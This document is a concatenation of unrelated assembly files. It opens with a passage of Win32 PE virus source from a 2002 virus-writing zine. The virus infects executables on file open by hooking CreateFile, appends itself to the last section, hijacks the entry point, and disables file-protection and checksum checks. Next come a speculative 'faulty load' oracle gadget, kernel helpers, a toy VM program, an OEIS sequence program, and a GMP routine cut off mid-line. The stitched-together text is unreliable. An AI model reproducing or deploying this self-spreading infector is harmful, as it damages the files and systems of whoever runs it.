FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM .IF !(ZERO?) DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], esi, FILE_ATTRIBUTE_NORMAL test eax, eax jz LoadsExit .ENDIF ; Open our file. All opens are done in read-write mode as it saves me ; from having to mess around. Save the time stamps straight away. mCreateFileA esi cmp eax, INVALID_HANDLE_VALUE je LoadsExitAttributes push eax mov ebx, eax DO_API tGetFileTime PTR [edx][VX.pGetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime] test eax, eax jz LoadsExitClose push ebx ; Check the file size, don't Loads files that are too small or too big. ; Too small = Below 16K. Too big = Above 1G. DO_API tGetFileSize PTR [edx][VX.pGetFileSize], ebx, NULL cmp eax, 000004000H jb LoadsExitTimes cmp eax, 040000000H ja LoadsExitTimes mov [edx][VX.FileSize], eax ; Make sure this is a disk file and not some other handle we've opened!! DO_API tGetFileType PTR [edx][VX.pGetFileType], ebx cmp eax, FILE_TYPE_DISK jne LoadsExitTimes ; Turn the file handle into a mapping handle, and map a view into memory mCreateFileMappingA ebx, NULL test eax, eax jz LoadsExitTimes push eax mMapViewOfFile eax cmp eax, INVALID_HANDLE_VALUE je LoadsExitMap push eax ; Run checks on the file and fill in virus information fields so that we ; can infect it if we want. We *DON'T* modify anything at this stage so ; if something goes wrong, the file is still in its original state. DO_API CheckFile, edx, eax test eax, eax jz LoadsExitView ; Close our View and Map, then recreate the file bigger so the virus can ; fit inside. We don't know how much extra space the virus will take, ; until after PrepareFile, where it's had a chance to look at FileAlign. pop ebx DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx ; Turn the file handle into a mapping handle, and map a view into memory pop ebx push ebx mCreateFileMappingA ebx, [edx][VX.FileSize] test eax, eax jz LoadsExitTimes push eax mMapViewOfFile eax cmp eax, INVALID_HANDLE_VALUE jz LoadsExitMap push eax ; With everything prepared, now we write ourselves to the our new host :) DO_API WriteFile, edx, eax LoadsExitView: ; Close a View pop ebx DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx LoadsExitMap: ; Close a Map pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx LoadsExitTimes: ; Restore Time Stamps pop ebx DO_API tSetFileTime PTR [edx][VX.pSetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime] LoadsExitClose: ; Close a Handle pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx LoadsExitAttributes: ; Restore Attributes only if they've been changed test [edx][VX.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM jz LoadsExit DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], [FILENAME], [edx][VX.FileAttributes] LoadsExit: ; Finally, we can exit! ret LoadsFile ENDP ; ============================================================================= ; ( Prepare File For Infection ) ============================================== ; ============================================================================= CheckFile PROC VD:PTR VX, FILEHANDLE:DWORD ; We are mainly concerned with looping through the Imports and Sections ; gathering data, so first, we clear out our Import storage areas xor eax, eax mov edx, [VD ] mov [edx][VX.pLoadLibraryA ], eax mov [edx][VX.pGetProcAddress], eax lea edi, [edx][VX.HookAPI ] mov ecx, HOOKS_COUNT .REPEAT stosd add edi, 8 .UNTILCXZ mov edi, [FILEHANDLE] ; Check if the file is already infected [DOS Checksum = -1], and load up ; the PE Header, running it for basic Win32 Intel PE checks. cmp [edi][IMAGE_DOS_HEADER.e_csum], -1 je CheckFail cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE jne CheckFail add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE jne CheckFail cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386 jne CheckFail test [edi][PE.Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE jz CheckFail test [edi][PE.Characteristics], IMAGE_FILE_DLL jnz CheckFail cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER jne CheckFail cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC jne CheckFail cmp [edi][PE.SizeOfHeaders], 0 je CheckFail cmp [edi][PE.NumberOfRvaAndSizes], 2 jb CheckFail ; Begin a loop through our Import Table, searching for a Kernel32.DLL mov eax, [edi][PE.DataDirectory.Import.RVA] mov [edx][VX.BoundImport ], eax DO_API ConvertToRaw, [FILEHANDLE], eax test eax, eax jz CheckFail mov esi, eax .WHILE TRUE ; Abort if it's the end of the table, otherwise string compare DO_API ConvertToRaw, [FILEHANDLE], [esi][IMPORT.Names] test eax, eax jz CheckFail mCompareStringA ADDR [edx][VX.UsedKernel], eax .BREAK .IF (ZERO?) add [edx][VX.BoundImport], SIZE IMPORT add esi, SIZE IMPORT .ENDW ; Set up all of our Import Information, and save the RVA of this Import DO_API SetupImports, [VD], [FILEHANDLE], esi test eax, eax jz CheckFail ; Make sure that at least one Hook has been fulfilled, otherwise if we ; infect, it's a waste of time :| lea esi, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT cmp dword ptr [esi], 0 jnz @F add esi, 12 .UNTILCXZ jmp CheckFail @@: ; Scan through the section table until we locate the section with ; the highest RVA. Then we make sure it has a physical location. movzx ecx, [edi][PE.NumberOfSections ] add di, [edi][PE.SizeOfOptionalHeader ] adc edi, PE.Magic xor eax, eax .REPEAT cmp [edi][SECTION.VirtualAddress], eax .IF !(CARRY?) mov eax, [edi][SECTION.VirtualAddress] mov esi, edi .ENDIF add edi, SIZE SECTION .UNTILCXZ ; Save the RVA of the our Section for us to twiddle with in WriteFile. mov edi, esi sub esi, [FILEHANDLE] mov [edx][VX.LastSection], esi mov esi, [FILEHANDLE] add esi, [esi][IMAGE_DOS_HEADER.e_lfanew ] ; Sections are allocated memory up to PE.SectionAlignment, so we want ; to place the virus after that, and ALSO skip past any overlay data ; that's at the end of the PE and not in any sections. ; 1. How big is the Section's memory allocation? mov eax, [edi][SECTION.VirtualSize] cmp eax, [edi][SECTION.SizeOfRawData] ja @F mov eax, [edi][SECTION.SizeOfRawData] @@: DO_API ConvertAlign, [esi][PE.SectionAlignment], eax ; 2. How big is the file minus File Section, plus Memory Section? mov ebx, eax DO_API ConvertAlign, [esi][PE.FileAlignment], [edi][SECTION.SizeOfRawData] test eax, eax jz CheckFail add eax, [edx][VX.FileSize] sub eax, ebx ; 3. If the file is bigger than it would be, we have lots of overlay ; data, so base our start-of-virus value to be AFTER that. cmp eax, [edx][VX.FileSize] ja @F mov eax, [edx][VX.FileSize] @@: sub eax, [edi][SECTION.PointerToRawData] push eax add eax, [edi][SECTION.VirtualAddress ] mov [edx][VX.SectionEntrypoint], eax pop eax ; Now save the Section size [yes, we only need to FileAlign it], and ; of course the total size of the file. add eax, Virus_Size DO_API ConvertAlign, [esi][PE.FileAlignment], eax mov [edx][VX.SizeSection], eax add eax, [edi][SECTION.PointerToRawData] mov [edx][VX.FileSize], eax mov eax, -1 jmp CheckExit CheckFail: xor eax, eax CheckExit: ret CheckFile ENDP ; ============================================================================= ; ( Write Host ) ============================================================== ; ============================================================================= WriteFile PROC VD:PTR VX, FILEHANDLE:DWORD ; Set our infection marker | EDX = VD | EDI = PE | ESI = SECTION mov edx, [VD] mov edi, [FILEHANDLE] mov [edi][IMAGE_DOS_HEADER.e_csum], -1 mov esi, [edx][VX.LastSection] lea esi, [edi][esi] add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] push edi ; Update SizeOfImage field, and then update with correct Section fields mov eax, [esi][SECTION.VirtualSize ] cmp eax, [esi][SECTION.SizeOfRawData ] ja @F mov eax, [esi][SECTION.SizeOfRawData ] @@: DO_API ConvertAlign, [edi][PE.SectionAlignment], eax sub [edi][PE.SizeOfImage], eax mov ebx, [edx][VX.SizeSection] add [edi][PE.SizeOfImage], ebx mov [esi][SECTION.VirtualSize ], ebx mov [esi][SECTION.SizeOfRawData], ebx or [esi][SECTION.Characteristics], IMAGE_SCN_MEM_READ and [esi][SECTION.Characteristics], NOT IMAGE_SCN_MEM_DISCARDABLE ; Update SizeOfCode/SizeOfInitializedData/SizeOfUninitializedData field test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_CODE .IF !(ZERO?) sub [edi][PE.SizeOfCode], eax add [edi][PE.SizeOfCode], ebx .ENDIF test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA .IF !(ZERO?) sub [edi][PE.SizeOfInitializedData], eax add [edi][PE.SizeOfInitializedData], ebx .ENDIF test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_UNINITIALIZED_DATA .IF !(ZERO?) sub [edi][PE.SizeOfUninitializedData], eax add [edi][PE.SizeOfUninitializedData], ebx .ENDIF ; Force Win32 to do RunTime Binding ; [Extra 2 MOVs I don't think are necessary, so I left them out for now] ; mov [edi][PE.DataDirectory.BoundImport.RVA], 0 ; mov [edi][PE.DataDirectory.BoundImport.Sizes], 0 DO_API ConvertToRaw, [FILEHANDLE ], [edx][VX.BoundImport] mov [eax][IMPORT.TimeDateStamp], 0 ; Save and set the PE Entrypoint mov ebx, [edx][VX.SectionEntrypoint ] push ebx add ebx, SIZE VX xchg [edi][PE.AddressOfEntryPoint], ebx mov [edx][VX.HostEntrypoint], ebx pop ebx ; Write the virus to the file, finally! DO_API ConvertToRaw, [FILEHANDLE], ebx mov esi, edx mov edi, eax mov ecx, Virus_Size / 4 cld rep movsd ; Do the checksums, one of which is pointing to a junk area pop edi DO_API tCheckSumMappedFile PTR [edx][VX.pCheckSumMappedFile], [FILEHANDLE], [edx][VX.FileSize], ADDR [edx][VX.LastSection], ADDR [edi][PE.CheckSum] ret WriteFile ENDP ; ============================================================================= ; ( Scan Imports ) ============================================================ ; ============================================================================= SetupImports PROC VD:PTR VX, FILEHANDLE:DWORD, TABLE:DWORD ; Switch between the Thunk Tables for Inprise/Microsoft compatability mov edx, [VD] mov esi, [TABLE] mov eax, [esi][IMPORT.OriginalFirstThunk] test eax, eax jnz @F mov eax, [esi][IMPORT.FirstThunk] @@: DO_API ConvertToRaw, [FILEHANDLE], eax test eax, eax jz SetupImportsExit ; Begin the loop, which skips Ordinal entry and WENDs on a NULL entry mov esi, eax xor ecx, ecx .WHILE TRUE lodsd test eax, eax .IF !(SIGN?) DO_API ConvertToRaw, [FILEHANDLE], eax .BREAK .IF (eax == 0) push esi push ecx lea esi, [eax][2] ; Store the RVA of the associated FirstThunk entry, so we ; can located the Imported API VA during execution, if we ; need it [if this entry is a Hook/Used API] mov eax, [TABLE] mov eax, [eax][IMPORT.FirstThunk] lea eax, [eax][ecx * 4] mov [edx][VX.ThunkArrayRVA], eax ; Firstly, loop through and save details if this entry is ; Hookable. Note some API are Hooked and Used, so we do ; keep looping even if the API matches. lea ebx, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT mov edi, [ebx][8] mCompareStringA ADDR [edx][edi][4], esi .IF (ZERO?) push [edx][VX.ThunkArrayRVA] pop [ebx] .ENDIF add ebx, 12 .UNTILCXZ ; Secondly, loop through, always overwrite previously saved ; 'possible replacement' information with perfect matches. lea ebx, [edx][VX.sLoadLibraryA] mCompareStringA ebx, esi je SetupImportsStore lea ebx, [edx][VX.sGetProcAddress] mCompareStringA ebx, esi je SetupImportsStore ; Calculate the string size and the 'possible replacement'. xor eax, eax mov eax, esi @@: inc eax cmp byte ptr [eax][-1], 0 jne @B sub eax, esi .IF (eax < BUFFER_SIZE) .IF (eax > 16) cmp [edx][VX.pGetProcAddress], 0 je SetupImportsStore .ENDIF .IF (eax > 14) lea ebx, [edx][VX.sLoadLibraryA] cmp [edx][VX.pLoadLibraryA], 0 .IF (ZERO?) SetupImportsStore: mov [ebx][- (BUFFER_SIZE + 8)], esi push [edx][VX.ThunkArrayRVA] pop [ebx][-4] .ENDIF .ENDIF .ENDIF pop ecx pop esi .ENDIF inc ecx .ENDW ; Loop through twice, copying import address string into the virus, and ; the virus string over the original. Make eax nonzero, if all's okay. lea edi, [edx][VX.bLoadLibraryA] xor ebx, ebx @@: cmp dword ptr [edi][BUFFER_SIZE][4], 0 je SetupImportsExit mov esi, [edi] push esi mov ecx, BUFFER_SIZE cld rep movsb lea esi, [edi][8] mov ecx, [edi] pop edi rep movsb lea edi, [edx][VX.bGetProcAddress] dec ebx jpe @B dec eax SetupImportsExit: ret SetupImports ENDP ; ============================================================================= ; ( Align to boundary ) ======================================================= ; ============================================================================= ; Align a value to a boundary, I was guessing, so let's hope it's not buggy!!!! ConvertAlign PROC BOUNDARY:DWORD, VALUE:DWORD mov eax, [VALUE] xor edx, edx mov ecx, [BOUNDARY] div ecx or edx, edx mov eax, [VALUE] jz ConvertAlignExit add eax, [BOUNDARY] ConvertAlignExit: sub eax, edx ret ConvertAlign ENDP ; ============================================================================= ; ( Convert RVA to RAW ) ====================================================== ; ============================================================================= ConvertToRaw PROC FILEHANDLE:DWORD, VALUE:DWORD ; Make sure we haven't been provided a dud value, most routines should just ; rely on the result of this, instead of doing double error checking. mov esi, [FILEHANDLE] mov edi, [VALUE] test edi, edi jz ConvertToRawFail ; Locate start of SECTION Table and prepare for looping through them all add esi, [esi][IMAGE_DOS_HEADER.e_lfanew] mov ebx, [esi][PE.SectionAlignment ] movzx ecx, [esi][PE.NumberOfSections ] add si, [esi][PE.SizeOfOptionalHeader ] adc esi, PE.Magic .REPEAT ; Skip it if this Section starts above our VA cmp [esi][SECTION.VirtualAddress], edi ja ConvertToRawNext ; Find out where the section ends in memory, that means taking ; whichever RVA is bigger and SectionAligning it. mov eax, [esi][SECTION.SizeOfRawData ] cmp eax, [esi][SECTION.VirtualSize ] ja @F mov eax, [esi][SECTION.VirtualSize ] @@: DO_API ConvertAlign, ebx, eax add eax, [esi][SECTION.VirtualAddress] ; Jump over this section entry if it ends below our RVA cmp eax, edi jbe ConvertToRawNext ; Fail if this entry doesn't exist in the file [could be memory only] cmp [esi][SECTION.PointerToRawData], 0 je ConvertToRawFail ; Convert raw pointer to VA and add our value's pointers offset to it mov eax, [FILEHANDLE] add eax, [esi][SECTION.PointerToRawData] sub edi, [esi][SECTION.VirtualAddress ] add eax, edi jmp ConvertToRawExit ConvertToRawNext: add esi, SIZE SECTION .UNTILCXZ ConvertToRawFail: xor eax, eax ConvertToRawExit: ret ConvertToRaw ENDP ; ============================================================================= ; ( Alternate SfcIsFileProtected ) ============================================ ; ============================================================================= AlternateSfcIsFileProtected PROC P1:DWORD, P2:DWORD ; Alternate SfcIsFileProtected procedure, returns "File Unprotected" mov eax, FALSE ret AlternateSfcIsFileProtected ENDP ; ============================================================================= ; ( Alternate CheckSumMappedFile ) ============================================ ; ============================================================================= AlternateCheckSumMappedFile PROC P1:DWORD, P2:DWORD, P3:DWORD, P4:DWORD ; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK" mov eax, [P4] mov ebx, NULL xchg [eax], ebx mov eax, [P3] mov [eax], ebx mov eax, [P1] add eax, [eax][IMAGE_DOS_HEADER.e_lfanew] ret AlternateCheckSumMappedFile ENDP ; ============================================================================= ; ( Hooked version of GetProcAddress ) ======================================== ; ============================================================================= HookGetProcAddress PROC USES EDX ESI, DLL:DWORD, PROCEDURE:DWORD ; Work out our delta offset and check to make sure the program is asking ; for a Kernel32.DLL Procedure [which are the only ones we hook]. LOCATE DO_API tLoadLibraryA PTR [edx][VX.pLoadLibraryA], ADDR [edx][VX.UsedKernel] cmp eax, [DLL] .IF (ZERO?) push ecx mov ecx, HOOKS_COUNT lea esi, [edx][VX.HookAPI] .REPEAT ; Abort if this entry marks the end of the table. lodsd lodsd lodsd mCompareStringA ADDR [edx][eax][4], [PROCEDURE] .IF (ZERO?) mov eax, [esi][-4 ] lea eax, [edx][eax] pop ecx ret .ENDIF .UNTILCXZ pop ecx .ENDIF INVOKE tGetProcAddress PTR [edx][VX.pGetProcAddress], [DLL], [PROCEDURE] ret HookGetProcAddress ENDP ; ============================================================================= ; ( Hooked version of CreateFile ) ============================================ ; ============================================================================= HookCreateFileW PROC USES EDX, FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD LOCAL QUALIFIED[MAX_PATH]:BYTE LOCATE DO_API tWideCharToMultiByte PTR [edx][VX.pWideCharToMultiByte], NULL, NULL, FILENAME, -1, ADDR [QUALIFIED], MAX_PATH, NULL, NULL .IF (eax != 0) DO_API LoadsFile, edx, ADDR [QUALIFIED] .ENDIF INVOKE tCreateFileW PTR [edx][VX.pCreateFileW], FILENAME, P2, P3, P4, P5, P6, P7 ret HookCreateFileW ENDP HookCreateFileA PROC USES EDX, FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD LOCATE DO_API LoadsFile, edx, [FILENAME] INVOKE tCreateFileA PTR [edx][VX.pCreateFileA], FILENAME, P2, P3, P4, P5, P6, P7 ret HookCreateFileA ENDP ALIGN 4 Virus_Size EQU $ - Virus_Data Virus ENDS END WinMain COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=- -=( ---------------------------------------------------------------------- ) `
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r15 push %r8 push %rax push %rsi // Load lea addresses_WC+0x17266, %r11 nop nop xor %rax, %rax mov (%r11), %r13d nop nop cmp $37623, %rsi // Faulty Load mov $0x4a378d0000000c66, %r15 nop add %r10, %r10 mov (%r15), %rax lea oracles, %r15 and $0xff, %rax shlq $12, %rax mov (%r15,%rax,1), %rax pop %rsi pop %rax pop %r8 pop %r15 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
bits 64 default rel global inb global outb global memcpy global memset global load_gdt section .text inb: xor rax, rax mov dx, di in al, dx ret outb: mov dx, di mov ax, si out dx, ax ret memcpy: mov rcx, rdx rep movsb ret memset: mov rax, rsi mov rcx, rdx rep stosb mov rax, rdi ret
include 'a32.inc' _start: LOAD_R0 string CALLF print LOAD_R1 5 XOR R1, R1 VM_DEBUG LOAD_R0 15 LOAD_R1 25 ADDR R0, R1 VM_DEBUG LOAD_R0 R1 CMPR R0, R1 JMPF_E .equal ;; this line wont be printed LOAD_R0 not_equal_string CALLF print .equal: LOAD_R0 fib_test CALLF print CALLF do_fib_test VM_EXIT print: PUSH R0 PUSH R1 .ploop: LOAD_BYTE CMPR R1, 0 JMPF_E .done VM_CALL 0 JMPF .ploop .done: POP R1 POP R0 RETF do_fib_test: LOAD_R0 1 LOAD_R2 0 LOAD_R3 1 .ploop: ; R3 = 1 ; R0 = 1 ; R0 + R3 = R0 = 2 ; R3 = 1 ; R0 = 2 ; R3 = 1 ; R0 + R3 = R0 = 3 ; R3 = 2 ; ??? LOAD_R3 R4 LOAD_R4 R0 ADDR R0, R3 LOAD_R1 R0 VM_CALL 3 LOAD_R1 ' ' VM_CALL 0 INCR R2 CMPR R2, 12 JMPF_E .done JMPF .ploop .done: RETF _end_start: _data: string: db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 0 not_equal_string: db 'R0 and R1 aren"t equal FAIL', 0 fib_test: db 'Fibonacci Test....', 0x0A, 0 _end_data: _bss: _end_bss:
; A272000: Coinage sequence: a(n) = A018227(n)-7. ; 3,11,29,47,79,111,161,211,283,355,453,551,679,807,969,1131,1331,1531,1773,2015,2303,2591,2929,3267,3659,4051,4501,4951,5463,5975,6553,7131,7779,8427,9149,9871,10671,11471,12353,13235,14203,15171,16229,17287,18439,19591,20841,22091,23443,24795,26253,27711,29279,30847,32529,34211,36011,37811,39733,41655,43703,45751,47929,50107,52419,54731,57181,59631,62223,64815,67553,70291,73179,76067,79109,82151,85351,88551,91913,95275,98803,102331,106029,109727,113599,117471,121521,125571,129803,134035,138453,142871,147479,152087,156889,161691,166691,171691,176893,182095,187503,192911,198529,204147,209979,215811,221861,227911,234183,240455,246953,253451,260179,266907,273869,280831,288031,295231,302673,310115,317803,325491,333429,341367,349559,357751,366201,374651,383363,392075,401053,410031,419279,428527,438049,447571,457371,467171,477253,487335,497703,508071,518729,529387,540339,551291,562541,573791,585343,596895,608753,620611,632779,644947,657429,669911,682711,695511,708633,721755,735203,748651,762429,776207,790319,804431,818881,833331,848123,862915,878053,893191,908679,924167,940009,955851,972051,988251,1004813,1021375,1038303,1055231,1072529,1089827,1107499,1125171,1143221,1161271,1179703,1198135,1216953,1235771,1254979,1274187,1293789,1313391,1333391,1353391,1373793,1394195,1415003,1435811,1457029,1478247,1499879,1521511,1543561,1565611,1588083,1610555,1633453,1656351,1679679,1703007,1726769,1750531,1774731,1798931,1823573,1848215,1873303,1898391,1923929,1949467,1975459,2001451,2027901,2054351,2081263,2108175,2135553,2162931,2190779,2218627,2246949,2275271,2304071,2332871,2362153,2391435,2421203,2450971,2481229,2511487,2542239,2572991,2604241,2635491,2667243,2698995 mov $3,$0 add $3,1 mov $6,$0 lpb $3 mov $0,$6 sub $3,1 sub $0,$3 mov $4,3 lpb $0 mov $2,$0 sub $2,1 add $4,$2 div $4,2 add $4,1 trn $5,1 mul $0,$5 mov $5,$4 mul $4,2 mul $4,$5 mov $5,1 lpe add $1,$4 lpe
dnl AMD64 mpn_mulmid_basecase dnl Based on mul_basecase.asm from GMP 4.3.1, modifications are copyright dnl (C) 2009, David Harvey. The original mul_basecase.asm was released under dnl LGPLv3+, license terms reproduced below. These modifications are hereby dnl released under the same terms. dnl ========= Original license terms: dnl Contributed to the GNU project by Torbjorn Granlund and David Harvey. dnl Copyright 2008 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. dnl ========= end license terms include(`../config.m4') C cycles/limb C K8,K9: 2.375 (2.5 when un - vn is "small") C K10: ? C P4: ? C P6-15: ? C INPUT PARAMETERS define(`rp', `%rdi') define(`up', `%rsi') define(`un_param',`%rdx') define(`vp_param',`%rcx') define(`vn', `%r8') define(`vn32', `%r8d') define(`v0', `%r12') define(`v1', `%r9') define(`w0', `%rbx') define(`w1', `%rcx') define(`w2', `%rbp') define(`w3', `%r10') define(`w032', `%ebx') define(`w132', `%ecx') define(`w232', `%ebp') define(`w332', `%r10d') define(`n', `%r11') define(`outer_addr', `%r14') define(`un', `%r13') define(`un32',`%r13d') define(`vp', `%r15') define(`vp_inner', `%r10') ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_mulmid_basecase) push %rbx push %rbp push %r12 push %r13 push %r14 push %r15 mov vp_param, vp C use un for row length (= un_param - vn + 1) lea 1(un_param), un sub vn, un lea (rp,un,8), rp cmp $4, un C FIXME: needs tuning jc L(diagonal) lea (up,un_param,8), up test $1, vn jz L(mul_2) C =========================================================== C mul_1 for vp[0] if vn is odd L(mul_1): mov un32, w032 neg un mov (up,un,8), %rax mov (vp), v0 mul v0 and $-4, un C round down to multiple of 4 mov un, n and $3, w032 jz L(mul_1_prologue_0) cmp $2, w032 jc L(mul_1_prologue_1) jz L(mul_1_prologue_2) L(mul_1_prologue_3): mov %rax, w3 mov %rdx, w0 lea L(addmul_prologue_3)(%rip), outer_addr jmp L(mul_1_entry_3) ALIGN(16) L(mul_1_prologue_0): mov %rax, w2 mov %rdx, w3 C note already w0 == 0 lea L(addmul_prologue_0)(%rip), outer_addr jmp L(mul_1_entry_0) ALIGN(16) L(mul_1_prologue_1): add $4, n mov %rax, w1 mov %rdx, w2 mov $0, w332 mov (up,n,8), %rax lea L(addmul_prologue_1)(%rip), outer_addr jmp L(mul_1_entry_1) ALIGN(16) L(mul_1_prologue_2): mov %rax, w0 mov %rdx, w1 mov 24(up,n,8), %rax mov $0, w232 mov $0, w332 lea L(addmul_prologue_2)(%rip), outer_addr jmp L(mul_1_entry_2) C this loop is 10 c/loop = 2.5 c/l on K8 ALIGN(16) L(mul_1_top): mov w0, -16(rp,n,8) add %rax, w1 mov (up,n,8), %rax adc %rdx, w2 L(mul_1_entry_1): mov $0, w032 mul v0 mov w1, -8(rp,n,8) add %rax, w2 adc %rdx, w3 L(mul_1_entry_0): mov 8(up,n,8), %rax mul v0 mov w2, (rp,n,8) add %rax, w3 adc %rdx, w0 L(mul_1_entry_3): mov 16(up,n,8), %rax mul v0 mov w3, 8(rp,n,8) mov $0, w232 C zero mov w2, w3 C zero add %rax, w0 mov 24(up,n,8), %rax mov w2, w1 C zero adc %rdx, w1 L(mul_1_entry_2): mul v0 add $4, n js L(mul_1_top) mov w0, -16(rp) add %rax, w1 mov w1, -8(rp) mov w2, 8(rp) C zero last limb of output adc %rdx, w2 mov w2, 